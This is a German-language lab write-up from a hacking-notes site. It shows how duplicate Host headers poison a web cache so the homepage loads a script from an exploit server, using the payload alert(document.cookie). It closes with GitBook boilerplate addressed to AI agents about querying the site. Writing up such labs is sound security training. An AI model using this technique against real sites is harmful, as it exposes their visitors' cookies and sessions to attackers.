> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# Web-Cache-Poisoning über mehrdeutige Anfragen

### Web-Cache-Poisoning durch mehrdeutige Anfragen

**Beschreibung des Labs**

Dieses Labor ist anfällig für eine **Web-Cache-Poisoning** aufgrund von Unterschieden darin, wie der **Cache-System** und **Backend-Server** mehrdeutige Anfragen interpretiert. / Ein legitimer Benutzer besucht regelmäßig die Startseite der Website.

\*\*Ziel:\*\*/ Vergifte den Cache so, dass die Startseite ausgeführt wird `alert(document.cookie)` im Browser des Opfers ausführt.

**Erste Beobachtung**

* HTTP-Antworten enthalten einen Header, der ein Cache-Alter von 30 Sekunden\*\* angibt (`Age: 30`), was die Verwendung eines Cache-Mechanismus bestätigt.
* Das Verhalten des Servers variiert je nach Struktur der Anfrage, insbesondere bei dem `Host` Header.

<figure><img src="/files/b9674a358f05587e3687fc350961b09347ae1b64" alt=""><figcaption></figcaption></figure>

**Mit ungültigem Host testen**

Ändern des `Host` Headers mit einem nicht vorhandenen Wert:

```http
Host: wfwfkowf.com
```

Die zurückgegebene Antwort ist ein Gateway-Timeout-Fehler, was darauf hindeutet, dass der Server versucht, diesen Wert aufzulösen:

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            Serverfehler: Gateway-Timeout
        </title>
    </head>
    <body>
        <h1>
            Serverfehler: Gateway-Timeout (1) beim Verbinden mit wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

Dieser Ansatz wird blockiert und kann daher nicht direkt ausgenutzt werden

<figure><img src="/files/60aa478178c61ebf45fc210376de279a0855fca4" alt=""><figcaption></figcaption></figure>

**Verwendung von zwei Host-Headern**

Senden von **zwei `Host` Headern in derselben Anfrage**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* Die Anwendung antwortet normal.
* Der Wert des **zweiten Host** wird in der clientseitig geladenen Ressource gespiegelt (z. B. in einem `src` Attribut).

<figure><img src="/files/ce2ae0460c8e25d02d516780178e5abd25de748c" alt=""><figcaption></figcaption></figure>

Dies offenbart eine inkonsistente \*\*Interpretation\*\* zwischen dem Cache und dem Backend

**Vorbereitung der Nutzlast**

Auf dem Angriffsserver wird eine JavaScript-Datei erstellt:

/resources/js/tracking.js

Inhalt :

```javascript
alert(document.cookie);
```

<figure><img src="/files/564bb76c0664f20616ef71c662c044f0e84192b7" alt=""><figcaption></figcaption></figure>

**Cache-Poisoning**

Es wird eine neue Anfrage mit zwei `Host` Headern gesendet, wobei der zweite auf den Angriffsserver verweist:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* Das Backend akzeptiert die Anfrage.
* Der Cache speichert die vergiftete Antwort.

<figure><img src="/files/1865b2e3602ff5a7015ae7fb66694bade7fe3be8" alt=""><figcaption></figcaption></figure>

Die Startseite verweist nun auf das JavaScript-Skript, das auf dem Server des Angreifers gehostet wird.

<figure><img src="/files/93e8b5af3f9b1c26114e8b2df76ba5014769de39" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
